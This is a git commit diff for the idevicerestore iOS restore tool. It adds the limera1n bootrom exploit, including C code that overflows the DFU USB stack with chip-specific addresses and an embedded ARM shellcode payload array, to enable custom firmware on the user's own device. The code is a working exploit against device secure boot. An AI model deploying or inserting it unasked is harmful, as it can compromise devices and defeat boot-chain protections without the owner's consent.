add limera1n exploit and use pwned dfu mode for custom firmwares

5 files changed, 205 insertions, 1 deletions

diff --git a/src/Makefile.am b/src/Makefile.am
index 831a222..5fbcdef 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -18,6 +18,6 @@ AM_LDFLAGS =\
 
 bin_PROGRAMS = idevicerestore
 
-idevicerestore_SOURCES = idevicerestore.c common.c tss.c img3.c ipsw.c normal.c dfu.c recovery.c restore.c asr.c libirecovery.c
+idevicerestore_SOURCES = idevicerestore.c common.c tss.c img3.c ipsw.c normal.c dfu.c recovery.c restore.c asr.c libirecovery.c limera1n.c
 idevicerestore_CFLAGS = $(AM_CFLAGS)
 idevicerestore_LDFLAGS = $(AM_LDFLAGS) -lusb-1.0
diff --git a/src/idevicerestore.c b/src/idevicerestore.c
index 6733a59..bfe19c7 100644
--- a/src/idevicerestore.c
+++ b/src/idevicerestore.c
@@ -36,6 +36,8 @@
 #include "recovery.h"
 #include "idevicerestore.h"
 
+#include "limera1n.h"
+
 int use_apple_server;
 
 static struct option longopts[] = {
@@ -406,6 +408,21 @@ int main(int argc, char* argv[]) {
 	// if the device is in DFU mode, place device into recovery mode
 	if (client->mode->index == MODE_DFU) {
 		recovery_client_free(client);
+		if (client->flags & FLAG_CUSTOM) {
+			info("connecting to DFU\n");
+			if (dfu_client_new(client) < 0) {
+				return -1;
+			}
+			info("exploiting with limera1n\n");
+			// TODO: check for non-limera1n device and fail
+			if (limera1n_exploit(client->device, client->dfu->client) != 0) {
+				error("ERROR: limera1n exploit failed\n");
+				dfu_client_free(client);
+				return -1;
+			}
+			dfu_client_free(client);
+			info("exploited\n");
+		}
 		if (dfu_enter_recovery(client, build_identity) < 0) {
 			error("ERROR: Unable to place device into recovery mode\n");
 			plist_free(buildmanifest);
diff --git a/src/limera1n.c b/src/limera1n.c
new file mode 100644
index 0000000..309b361
--- /dev/null
+++ b/src/limera1n.c
@@ -0,0 +1,107 @@
+/**
+  * GreenPois0n Syringe - exploits/limera1n/limera1n.c
+  * Copyright (C) 2010 Chronic-Dev Team
+  * Copyright (C) 2010 Joshua Hill
+  *
+  * Based on exploit discovered by geohot
+  *
+  * This program is free software: you can redistribute it and/or modify
+  * it under the terms of the GNU General Public License as published by
+  * the Free Software Foundation, either version 3 of the License, or
+  * (at your option) any later version.
+  *
+  * This program is distributed in the hope that it will be useful,
+  * but WITHOUT ANY WARRANTY; without even the implied warranty of
+  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  * GNU General Public License for more details.
+  *
+  * You should have received a copy of the GNU General Public License
+  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ **/
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+#include "common.h"
+#include "limera1n.h"
+#include "limera1n_payload.h"
+#include "libirecovery.h"
+
+int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client)
+{
+	irecv_error_t error = IRECV_E_SUCCESS;
+	unsigned int i = 0;
+	unsigned char buf[0x800];
+	unsigned char shellcode[0x800];
+	unsigned int max_size = 0x24000;
+	//unsigned int load_address = 0x84000000;
+	unsigned int stack_address = 0x84033F98;
+	unsigned int shellcode_address = 0x84023001;
+	unsigned int shellcode_length = 0;
+
+
+	if (device->chip_id == 8930) {
+		max_size = 0x2C000;
+		stack_address = 0x8403BF9C;
+		shellcode_address = 0x8402B001;
+	}
+	if (device->chip_id == 8920) {
+		max_size = 0x24000;
+		stack_address = 0x84033FA4;
+		shellcode_address = 0x84023001;
+	}
+
+	memset(shellcode, 0x0, 0x800);
+	shellcode_length = sizeof(limera1n_payload);
+	memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload));
+
+	debug("Resetting device counters\n");
+	error = irecv_reset_counters(client);
+	if (error != IRECV_E_SUCCESS) {
+		error("%s\n", irecv_strerror(error));
+		return -1;
+	}
+
+	memset(buf, 0xCC, 0x800);
+	for(i = 0; i < 0x800; i += 0x40) {
+		unsigned int* heap = (unsigned int*)(buf+i);
+		heap[0] = 0x405;
+		heap[1] = 0x101;
+		heap[2] = shellcode_address;
+		heap[3] = stack_address;
+	}
+
+	debug("Sending chunk headers\n");
+	irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
+
+	memset(buf, 0xCC, 0x800);
+	for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) {
+		irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
+	}
+
+	debug("Sending exploit payload\n");
+	irecv_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000);
+
+	debug("Sending fake data\n");
+	memset(buf, 0xBB, 0x800);
+	irecv_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000);
+	irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10);
+
+	//debug("Executing exploit\n");
+	irecv_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000);
+
+	irecv_reset(client);
+	irecv_finish_transfer(client);
+	debug("Exploit sent\n");
+
+	debug("Reconnecting to device\n");
+	client = irecv_reconnect(client, 7);
+	if (client == NULL) {
+		debug("%s\n", irecv_strerror(error));
+		error("Unable to reconnect\n");
+		return -1;
+	}
+
+	return 0;
+}
diff --git a/src/limera1n.h b/src/limera1n.h
new file mode 100644
index 0000000..ed2339a
--- /dev/null
+++ b/src/limera1n.h
@@ -0,0 +1,7 @@
+#ifndef __LIMERA1N_H
+#define __LIMERA1N_H
+#include "libirecovery.h"
+
+int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client);
+
+#endif /* __LIMERA1N_H */
diff --git a/src/limera1n_payload.h b/src/limera1n_payload.h
new file mode 100644
index 0000000..6a5627e
--- /dev/null
+++ b/src/limera1n_payload.h
@@ -0,0 +1,73 @@
+unsigned char limera1n_payload[] = {
+  0x7f, 0x46, 0x07, 0xe0, 0xc0, 0x46, 0xc0, 0x46,
+  0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 
+  0xc0, 0x46, 0xc0, 0x46, 0x61, 0x48, 0x02, 0x68, 
+  0x61, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x61, 0x49, 
+  0x39, 0x60, 0x61, 0x49, 0x79, 0x60, 0x61, 0x49, 
+  0xb9, 0x60, 0x1c, 0xe0, 0x60, 0x48, 0x90, 0x42, 
+  0x06, 0xd1, 0x60, 0x49, 0x39, 0x60, 0x60, 0x49, 
+  0x79, 0x60, 0x60, 0x49, 0xb9, 0x60, 0x12, 0xe0, 
+  0x5f, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x5f, 0x49, 
+  0x39, 0x60, 0x5f, 0x49, 0x79, 0x60, 0x5f, 0x49, 
+  0xb9, 0x60, 0x08, 0xe0, 0x5e, 0x48, 0x90, 0x42, 
+  0x05, 0xd1, 0x5e, 0x49, 0x39, 0x60, 0x5a, 0x49, 
+  0x79, 0x60, 0x5d, 0x49, 0xb9, 0x60, 0x5d, 0x48, 
+  0x5d, 0x49, 0x3b, 0x68, 0x98, 0x47, 0x5d, 0x48, 
+  0x5a, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x80, 0xf8, 
+  0x00, 0x28, 0xcb, 0xd0, 0x06, 0x1c, 0x5a, 0x48, 
+  0x56, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x78, 0xf8, 
+  0x00, 0x28, 0xc3, 0xd0, 0x05, 0x1c, 0x11, 0x20, 
+  0x14, 0x24, 0x29, 0x19, 0x2a, 0x19, 0x30, 0x23, 
+  0x54, 0x4c, 0x00, 0x94, 0x00, 0x24, 0x01, 0x94, 
+  0x00, 0x24, 0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47, 
+  0x11, 0x20, 0x0c, 0x24, 0x31, 0x19, 0x32, 0x19, 
+  0xb3, 0x68, 0x4f, 0x4c, 0x00, 0x94, 0x24, 0x24, 
+  0x64, 0x19, 0x01, 0x94, 0x14, 0x24, 0x64, 0x19, 
+  0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47, 0x45, 0x48, 
+  0x0c, 0x21, 0x89, 0x19, 0xb2, 0x68, 0x15, 0x1c, 
+  0x00, 0xf0, 0x4a, 0xf8, 0x47, 0x48, 0x41, 0x49, 
+  0x2a, 0x1c, 0x00, 0xf0, 0x4d, 0xf8, 0x00, 0x28, 
+  0x08, 0xd0, 0x01, 0x1c, 0x44, 0x48, 0x45, 0x4a, 
+  0x00, 0xf0, 0x46, 0xf8, 0x00, 0x28, 0x01, 0xd0, 
+  0x43, 0x49, 0x01, 0x60, 0x43, 0x48, 0x39, 0x49, 
+  0x2a, 0x1c, 0x00, 0xf0, 0x3d, 0xf8, 0x00, 0x28, 
+  0x08, 0xd0, 0x01, 0x1c, 0x40, 0x48, 0x3d, 0x4a, 
+  0x00, 0xf0, 0x36, 0xf8, 0x00, 0x28, 0x01, 0xd0, 
+  0x3e, 0x49, 0x01, 0x60, 0x3e, 0x48, 0x31, 0x49, 
+  0x2a, 0x1c, 0x00, 0xf0, 0x2d, 0xf8, 0x00, 0x28, 
+  0x08, 0xd0, 0x01, 0x1c, 0x3b, 0x48, 0x35, 0x4a, 
+  0x00, 0xf0, 0x26, 0xf8, 0x00, 0x28, 0x01, 0xd0, 
+  0x33, 0x49, 0x01, 0x60, 0x38, 0x48, 0x29, 0x49, 
+  0x2a, 0x1c, 0x38, 0x4b, 0x00, 0xf0, 0x1e, 0xf8, 
+  0x00, 0x28, 0x07, 0xd1, 0x36, 0x48, 0x25, 0x49, 
+  0x2a, 0x1c, 0x36, 0x4b, 0x00, 0xf0, 0x16, 0xf8, 
+  0x00, 0x28, 0x03, 0xd0, 0x34, 0x49, 0x01, 0x60, 
+  0x34, 0x49, 0x41, 0x60, 0x00, 0x20, 0x1f, 0x49, 
+  0x00, 0x22, 0xbb, 0x68, 0x98, 0x47, 0x55, 0xe7, 
+  0x0b, 0x68, 0x03, 0x60, 0x01, 0x30, 0x01, 0x31, 
+  0x01, 0x3a, 0x00, 0x2a, 0xf8, 0xd1, 0x70, 0x47, 
+  0x00, 0x23, 0xff, 0xe7, 0x10, 0xb5, 0x0c, 0x68, 
+  0x84, 0x42, 0x04, 0xd1, 0x00, 0x2b, 0x07, 0xd0, 
+  0x4c, 0x68, 0x9c, 0x42, 0x04, 0xd0, 0x02, 0x31, 
+  0x02, 0x3a, 0x00, 0x2a, 0xf3, 0xd1, 0x00, 0x21, 
+  0x08, 0x1c, 0x10, 0xbd, 0x88, 0x02, 0x00, 0x00, 
+  0x39, 0x2e, 0x35, 0x00, 0xe5, 0x36, 0x00, 0x00, 
+  0x19, 0x09, 0x00, 0x00, 0xdd, 0x39, 0x00, 0x00, 
+  0x34, 0x2e, 0x34, 0x00, 0x85, 0x4c, 0x00, 0x00, 
+  0x6d, 0x68, 0x00, 0x00, 0x5d, 0x5a, 0x00, 0x00, 
+  0x39, 0x2e, 0x33, 0x00, 0x9d, 0x34, 0x00, 0x00, 
+  0x25, 0x09, 0x00, 0x00, 0x69, 0x39, 0x00, 0x00, 
+  0x39, 0x2e, 0x33, 0x2e, 0xa5, 0x34, 0x00, 0x00, 
+  0x71, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 
+  0x00, 0xc0, 0x02, 0x00, 0x41, 0x54, 0x41, 0x44, 
+  0x47, 0x41, 0x42, 0x4b, 0x00, 0x02, 0x00, 0x20, 
+  0x00, 0x00, 0x00, 0x20, 0x1a, 0x78, 0xff, 0x2a, 
+  0x4f, 0xf0, 0xff, 0x30, 0x00, 0x02, 0x00, 0x00, 
+  0x00, 0x20, 0x00, 0x20, 0xf3, 0xdf, 0x90, 0xb5, 
+  0x07, 0x4b, 0x1b, 0x68, 0x4f, 0xf0, 0xff, 0x33, 
+  0x11, 0x9a, 0xd3, 0xf1, 0x18, 0xbf, 0x01, 0x20, 
+  0x80, 0xb5, 0x00, 0xaf, 0x82, 0xb0, 0x4f, 0xf0, 
+  0xb0, 0xb5, 0x02, 0xaf, 0x82, 0xb0, 0x01, 0x28, 
+  0x00, 0x4b, 0x18, 0x47, 0x00, 0x00, 0x00, 0x41
+};
+unsigned int limera1n_payload_len = 560;